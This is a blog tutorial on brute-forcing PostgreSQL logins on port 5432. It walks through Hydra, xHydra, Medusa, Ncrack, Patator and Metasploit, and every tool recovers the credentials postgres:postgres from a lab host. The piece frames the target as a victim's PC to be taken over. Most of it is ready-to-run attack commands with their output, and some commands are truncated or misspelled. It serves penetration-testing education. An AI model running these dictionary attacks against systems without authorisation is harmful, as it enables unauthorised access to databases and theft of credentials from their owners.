

Password Cracking:PostgreSQL

March 7, 2018 By Raj Chandel

In this article, we will learn how to gain control over our victim's PC through 5432 Port use for Postgres service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.

Table of Content

- Hydra
- X-Hydra
- Medusa
- Ncrack
- Patator
- Metasploit

Let's starts!!

Hydra

Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, Postgres, http, https, smb, several databases, and much more

Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.

Run the following command

```
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.120 postgres
```

-L: denotes path for username list

-P: denotes path for the password list

Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the Postgres username as **Postgres** and password as **postgres**.

```

root@kali:~# hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.120 postgres
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations

Hydra (http://www.thc.org/thc-hydra) starting at 2018-03-06 04:31:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking postgres://192.168.1.120:5432/
[5432][postgres] host: 192.168.1.120 login: postgres password: postgres
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-03-06 04:31:30

```

xHydra

This is the graphical version to apply dictionary attack via 5432 port to hack a system. For this method to work:

Open **xHydra** in your kali And select **Single Target option** and there give the IP of your victim PC. And select **Postgres** in the box against **Protocol option** and give the port number **5432** against the **port option**.

The screenshot shows the xHydra application window. It has a menu bar with 'Quit' and a tab bar with 'Target', 'Passwords', 'Tuning', 'Specific', and 'Start'. The 'Target' tab is active. Under the 'Target' section, there are two radio buttons: 'Single Target' (selected) and 'Target List'. Next to 'Single Target' is a text box containing '192.168.1.120'. Below this is a 'Port' section with a text box containing '5432' and a 'Protocol' section with a dropdown menu showing 'postgres'. There is also a 'Prefer IPV6' checkbox which is unchecked. Below these are 'Output Options' with several checkboxes: 'Use SSL', 'Use old SSL', 'Be Verbose', 'Show Attempts', 'Debug', 'COMPLETE HELP', and 'Service Module Usage Details'. At the bottom, a command line shows the command being executed: 'hydra -s 5432 -L /root/Desktop/user.txt -P /root/Desktop/pass.txt -t 16...'.

Now, go to **Passwords tab** and select **Username List** and give the path of your text file, which contains usernames, in the box adjacent to it.

Then select **Password List** and give the path of your text file, which contains all the passwords, in the box adjacent to it.

Quit

Target Passwords Tuning Specific Start

Username

☐ Username

☒ Username List ↩

☐ Loop around users ☐ Protocol does not require usernames

www.hackingarticles.in

Password

☐ Password

☒ Password List ↩

☐ Generate

Colon separated file

☐ Use Colon separated file

☐ Try login as password ☐ Try empty password ☐ Try reversed login

After doing this, go to the Start tab and click on the **Start** button on the left.

Now, the process of dictionary attack will start. Thus, you will attain the username and password of your victim.

```
Quit
Target Passwords Tuning Specific Start
Output
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or se

Hydra (http://www.thc.org/thc-hydra) starting at 2018-03-06 04:32:19
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), r
[DATA] attacking postgres://192.168.1.120:5432/
[5432][postgres] host: 192.168.1.120 login: postgres password: postgres
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-03-06 04:32:20
<finished>
```

Medusa

Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, POSTGRES, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few

Run the following command

```
medusa -h 192.168.1.120 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M pos
```

Here

-U: denotes path for username list

-P: denotes path for the password list

As you can observe that we had successfully grabbed the Postgres username as **Postgres** and password as **postgres**.

```

root@kali:~# medusa -h 192.168.1.120 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M postgres
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ⬆

ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: raj (2 of 5, 1 complete) Pas
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: raj (2 of 5, 1 complete) Pas
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: raj (2 of 5, 1 complete) Pas
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: raj (2 of 5, 1 complete) Pas
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: raj (2 of 5, 1 complete) Pas
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: toor (3 of 5, 2 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: toor (3 of 5, 2 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: toor (3 of 5, 2 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: toor (3 of 5, 2 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: toor (3 of 5, 2 complete) Pa
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: postgres (4 of 5, 3 complete
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: postgres (4 of 5, 3 complete
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: postgres (4 of 5, 3 complete
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: postgres (4 of 5, 3 complete
ACCOUNT FOUND: [postgres] Host: 192.168.1.120 User: postgres Password: postgres [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: pavan (5 of 5, 4 complete) P
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: pavan (5 of 5, 4 complete) P
ACCOUNT CHECK: [postgres] Host: 192.168.1.120 (1 of 1, 0 complete) User: pavan (5 of 5, 4 complete) P

```

Ncrack

Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.

Run the following command

```
ncrack -v -U /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.120:5432
```



Here

-U: denotes path for username list

-P: denotes path for the password list

As you can observe that we had successfully grabbed the Postgres username as **Postgres** and password as **postgres**.

```
root@kali:~# ncrack -v -U /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.120:5432
Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-03-06 04:36 EST

Discovered credentials on psql://192.168.1.120:5432 'postgres' 'postgres'
psql://192.168.1.120:5432 finished.

Discovered credentials for psql on 192.168.1.120 5432/tcp:
192.168.1.120 5432/tcp psql: 'postgres' 'postgres'

Ncrack done: 1 service scanned in 3.00 seconds.
Probes sent: 25 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.
```

Patator

Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. It is quite useful for making brute force attack on several ports such as POSTGRES, HTTP, SMB and etc.

```
patator pgsq1_login host=192.168.1.120 user=FILE0 0=/root/Desktop/user.txt passwor
```

```
root@kali:~# patator pgsq1_login host=192.168.1.120 user=FILE0 0=/root/Desktop/user.txt
password=FILE1 1=/root/Desktop/pass.txt
```

From given below image you can observe that the process of dictionary attack starts and thus, you will attain the username and password of your victim.

time	candidate	num	mesg
0.049	root:toor	3	FATAL: password authentication
0.011	postgres:root	13	FATAL: password authentication
0.008	xander:postgres	23	FATAL: password authentication
0.047	root:123	4	FATAL: password authentication
0.008	postgres:raj	14	FATAL: password authentication
0.011	xander:password	24	FATAL: password authentication
0.043	toor:raj	8	FATAL: password authentication
0.012	postgres:password	18	FATAL: password authentication
0.008	pavan:123	28	FATAL: password authentication
1.040	root:root	1	FATAL: password authentication
0.033	toor:postgres	11	FATAL: password authentication
0.028	xander:toor	21	FATAL: password authentication
1.049	root:raj	2	FATAL: password authentication
0.036	toor:password	12	FATAL: password authentication
1.054	root:postgres	5	FATAL: password authentication
0.042	postgres:toor	15	FATAL: password authentication
1.044	root:password	6	FATAL: password authentication
0.029	postgres:123	16	FATAL: password authentication
0.028	pavan:raj	26	FATAL: password authentication
1.046	toor:root	7	FATAL: password authentication
0.039	postgres:postgres	17	OK
0.026	pavan:toor	27	FATAL: password authentication
1.035	toor:toor	9	FATAL: password authentication
0.024	xander:root	19	FATAL: password authentication
0.036	pavan:postgres	29	FATAL: password authentication
1.046	toor:123	10	FATAL: password authentication
0.037	xander:raj	20	FATAL: password authentication
0.019	pavan:password	30	FATAL: password authentication
0.032	xander:123	22	FATAL: password authentication

Metasploit

This module attempts to authenticate against a PostgreSQL instance using the username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. Note that passwords may be either plaintext or MD5 formatted hashes.

Open Kali terminal type **msfconsole** Now type

```
use auxiliary/scanner/postgres/postgres_login
msf exploit (scanner/postgres/postgres_login)>set rhosts 192.168.1.120
msf exploit (scanner/postgres/postgres_login)>set user_file /root/Desktop/user.txt
msf exploit (scanner/postgres/postgres_login)>set pass_file /root/Desktop/pass.txt
msf exploit (scanner/postgres/postgres_login)>set stop_on_success true
msf exploit (scanner/postgres/postgres_login)> exploit
```

From given below image you can observe that we had successfully grabbed the POSTGRES username and password.

```
msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.1.120
rhosts => 192.168.1.120
msf auxiliary(scanner/postgres/postgres_login) > set user_file /root/Desktop/user.txt
user_file => /root/Desktop/user.txt
msf auxiliary(scanner/postgres/postgres_login) > set pass_file /root/Desktop/pass.txt
pass_file => /root/Desktop/pass.txt
msf auxiliary(scanner/postgres/postgres_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/postgres/postgres_login) > exploit

[-] 192.168.1.120:5432 - LOGIN FAILED: root:root@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: root:raj@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: root:toor@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: root:postgres@templatel (Incorrect: Invalid usern
[-] 192.168.1.120:5432 - LOGIN FAILED: root:password@templatel (Incorrect: Invalid usern
[-] 192.168.1.120:5432 - LOGIN FAILED: raj:root@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: raj:raj@templatel (Incorrect: Invalid username or
[-] 192.168.1.120:5432 - LOGIN FAILED: raj:toor@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: raj:postgres@templatel (Incorrect: Invalid usernar
[-] 192.168.1.120:5432 - LOGIN FAILED: raj:password@templatel (Incorrect: Invalid usernar
[-] 192.168.1.120:5432 - LOGIN FAILED: toor:root@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: toor:raj@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: toor:toor@templatel (Incorrect: Invalid username o
[-] 192.168.1.120:5432 - LOGIN FAILED: toor:postgres@templatel (Incorrect: Invalid usernar
[-] 192.168.1.120:5432 - LOGIN FAILED: toor:password@templatel (Incorrect: Invalid usernar
[-] 192.168.1.120:5432 - LOGIN FAILED: postgres:root@templatel (Incorrect: Invalid usernar
[-] 192.168.1.120:5432 - LOGIN FAILED: postgres:raj@templatel (Incorrect: Invalid usernar
[-] 192.168.1.120:5432 - LOGIN FAILED: postgres:toor@templatel (Incorrect: Invalid usernar
[+] 192.168.1.120:5432 - Login Successful: postgres:postgres@templatel
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```